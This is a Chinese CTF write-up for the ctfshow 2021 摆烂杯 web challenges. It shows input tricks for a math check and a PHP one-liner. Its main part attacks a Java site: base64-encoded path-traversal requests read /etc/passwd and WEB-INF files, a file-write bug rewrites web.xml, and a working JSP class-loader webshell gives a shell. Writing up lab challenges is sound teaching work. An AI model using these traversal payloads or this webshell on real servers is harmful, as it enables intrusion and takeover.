[ctfshow 2021摆烂杯] WEB部分 writeup
官方的wp:https://qgieod1s9b.feishu.cn/docs/doccnC4EpMhSv1Ni6mbL7BQQdBc
web签到
 请输入三个整数A、B、C,使得:A3+B3+C3=114,目前是无解的 
直接输入字母会报hacker,直接输数字0也不可以,但是在ABC中还可以用+-*/以及() 进行计算(如果最后得到的不是正常的数字,会报500 Internal Server Error),所以利用()进行闭合,就可以得到114   A=1&B=-1&C=113)+(1 就可以啦

一行代码
<?php
echo !(!(include "flag.php")||(!error_reporting(0))||stripos($_GET['filename'],'.')||($_GET['id']!=0)||
(strlen($_GET['content'])<=7)||(!eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow"))||substr($_GET['content'],0,1)=='w'||
(file_get_contents($_GET['filename'],'r') !== "welcome2ctfshow"))?$flag:str_repeat(highlight_file(__FILE__), 0);
理一理代码,需要满足以下条件
stripos($_GET['filename'],'.')===False
$_GET['id']=0
strlen($_GET['content'])>7
eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow")
substr($_GET['content'],0,1)=='w'===False
file_get_contents($_GET['filename'],'r') == "welcome2ctfshow"
payload
?filename=data:

黑客网站

登陆不了
漏洞居然是在验证码图片这里,我好傻 任意文件读取
/v/c?r=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

1.读一些敏感文件
/v/c?r=Li4vLi4vLi4vV0VCLUlORi93ZWIueG1s
../../../WEB-INF/web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app version="3.0"
xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
<display-name></display-name>
<filter>
<filter-name>routerFilter</filter-name>
<filter-class>com.ctfshow.filter.impl.RouterFilterImpl</filter-class>
</filter>
<filter-mapping>
<filter-name>routerFilter</filter-name>
<url-pattern>/404.html</url-pattern>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
</filter-mapping>
<error-page>
<error-code>404</error-code>
<location>/404.html</location>
</error-page>
<error-page>
<error-code>500</error-code>
<location>/404.html</location>
</error-page>
<session-config>
<cookie-config>
<name>ctfshow</name>
<http-only>true</http-only>
</cookie-config>
<tracking-mode>COOKIE</tracking-mode>
</session-config>
<error-page>
<error-code>400</error-code>
<location>/404.html</location>
</error-page>
</web-app>
…/…/…/WEB-INF/pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.ctfshow</groupId>
<artifactId>FlagShop</artifactId>
<packaging>jar</packaging>
<version>1.0-SNAPSHOT</version>
<name>FlagShop</name>
<url>http://maven.apache.org</url>
<dependencies>
<dependency>
<groupId>ctfshow</groupId>
<artifactId>tiny-framework</artifactId>
<scope>system</scope>
<version>1.1</version>
<systemPath>${basedir}\lib\tiny-framework-1.0.1.jar</systemPath>
</dependency>
</dependencies>
</project>
发现框架${basedir}\lib\tiny-framework-1.0.1.jar ,进行读取
/v/c?r=Li4vLi4vLi4vV0VCLUlORi9saWIvdGlueS1mcmFtZXdvcmstMS4wLjEuamFy
注意下载下来的jar文件末尾有多余的0,清理至下图

反编译并审计找到路由配置,再把这里的控制器/…/config/controller.properties读一下

/v/c?r=Li4vLi4vLi4vV0VCLUlORi9jb25maWcvY29udHJvbGxlci5wcm9wZXJ0aWVz
这个应该是index的控制器
 下载index的控制器classes/com/ctfshow/controller/Index.class
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/v/c?r=Li4vLi4vLi4vV0VCLUlORi9jbGFzc2VzL2NvbS9jdGZzaG93L2NvbnRyb2xsZXIvSW5kZXguY2xhc3M=

反编译发现有任意文件写入的漏洞
FileUtil.writeFile(String.valueOf(this.request.server().path()) + "../" + username, password);
由于文件名限制为字母数字和. ,所以并不能跨目录写文件,只能写到classes目录下
2.利用web.xml写jsp🐎
利用tomcat的热加载机制,重写web.xml,再写个对应的jsp马,写反弹shell即可
username=web.xml&password=<?xml version="1.0" encoding="UTF-8"?>
<web-app version="3.0"
xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
<display-name></display-name>
<filter>
<filter-name>routerFilter</filter-name>
<filter-class>com.ctfshow.filter.impl.RouterFilterImpl</filter-class>
</filter>
<filter-mapping>
<filter-name>routerFilter</filter-name>
<url-pattern>/404.html</url-pattern>
<url-pattern>/s/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
</filter-mapping>
<servlet>
<servlet-name>ctfshow</servlet-name> //新增一个servlet来映射到WEB-INF下的jsp文件
<jsp-file>/WEB-INF/1.jsp</jsp-file> //路径ctfshow访问当前目录下的1.jsp
</servlet>
<servlet-mapping>
<servlet-name>ctfshow</servlet-name>
<url-pattern>/ctfshow</url-pattern>
</servlet-mapping> </web-app>
然后上传一个jsp木马(密码passwd)
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
注意要url编码,因为有换行


蚁剑连接,得到flag 
|